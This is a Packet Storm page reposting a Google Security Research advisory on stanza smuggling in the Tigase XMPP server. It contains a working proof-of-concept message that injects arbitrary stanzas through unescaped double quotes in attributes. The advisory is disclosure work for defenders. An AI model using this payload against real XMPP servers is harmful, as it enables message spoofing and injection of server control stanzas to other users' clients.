what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Tigase XMPP Server Stanza Smuggling

Tigase XMPP Server Stanza Smuggling
Posted May 26, 2022
Authored by Ivan Fratric, Google Security Research

Tigase XMPP server suffers from a security vulnerability due to not escaping double quote character when serializing parsed XML. This can be used to smuggle (or, if you prefer, inject) an arbitrary attacker-controlled stanza in the XMPP server's output stream. A malicious client can abuse this vulnerability to send arbitrary XMPP stanzas to another client (including the control stanzas that are only meant to be sent by the server).

tags | exploit, arbitrary
SHA-256 | 80c339179764f04e39876070e482957638cbcf822ccdb04b5cc72ea035585e1e

Tigase XMPP Server Stanza Smuggling

Change Mirror Download
Tigase XMPP server: XMPP stanza smuggling via unescaped qutes

Tigase XMPP server suffers from a security vulnerability due to not escaping double quote character when serializing parsed XML. This can be used to \"smuggle\" (or, if you prefer, inject) arbitrary attacker-controlled stanza in the XMPP server's output stream. A malicious client can abuse this vulnerability to send arbitrary XMPP stanzas to another client (including the control stanzas that are only meant to be sent by the server).

Consider for example the following XML tag

<foo attr='aaa\"bbb' />

which contains a single attribute enclosed in *single* quotes.

When Tigase parses and then serializes the element, it will convert single quotes to double quotes, however it will not escape the double quote. Thus the output becomes

<foo attr=\"aaa\"bbb\" />

Which is invalid XML. The corresponding code for serializing attributes can be seen in https://github.com/tigase/tigase-xmltools/blob/b0c64df99f62b88bec7c152d52027369b6415ada/src/main/java/tigase/xml/Element.java#L845

To see how this issue can be used to smuggle arbitrary stanzas through the server, consider for example the following incoming stanza

<message ...>
<body>
<body a='a\"/>' >text</body>
<message a='a\"/>' >text</message>
<iq>...</iq>
<message a='a\">' />
<body a='a\">' />
</body>
</message>

When this stanza gets parsed by the server, the corresponding tree is

-message
--body
---body with attribute name=a value=a\"/>
----cdata=text
---message with attribute name=a value=a\"/>
----cdata=text
---iq
---message with attribute name=a value=a\">
---body with attribute name=a value=a\">

However, when such a stanza gets serialized and forwarded to the recipient client (or another XMPP server) it becomes

<message ...><body><body a=\"a\"/>\" >text</body><message a=\"a\"/>\" >text</message><iq>...</iq><message a=\"a\">\" /><body a=\"a\">\" /></body></message>

(single quoted attributes became double quoted)
When the receiving client parses it, the corresponding tree is seen as

-message
--body
---body with attribute name=a value=a
---cdata=\" >text
--message with attribute name=a value=a
--cdata=\" >text
-iq
-message with attribute name=a value=a
--cdata=>\" />
--body with attribute name=a value=a
---cdata=>\" />

This works because, after the quote, we used '/>' instead of '>' and vice-versa to change the semantics of the closing tags.

As can be seen in the tree above, the receiving client will consider the iq tag (that was originally a part of the message body tree) as a new stanza at the same \"depth\" in the XML tree as the message stanza.

As mentioned above, this can be used to \"smuggle\" arbitrary stanzas through the XMPP server to the victim client. This can be used for message spoofing (making it appear a message was sent by a different sender), but also, depending on the XMPP extensions the client implements and what data is sent over XMPP, it can have impact beyond that (e.g. potentially redirecting the connection through a malicious XMPP server, code execution).

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2022-06-12.




Found by: ifratric@google.com

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close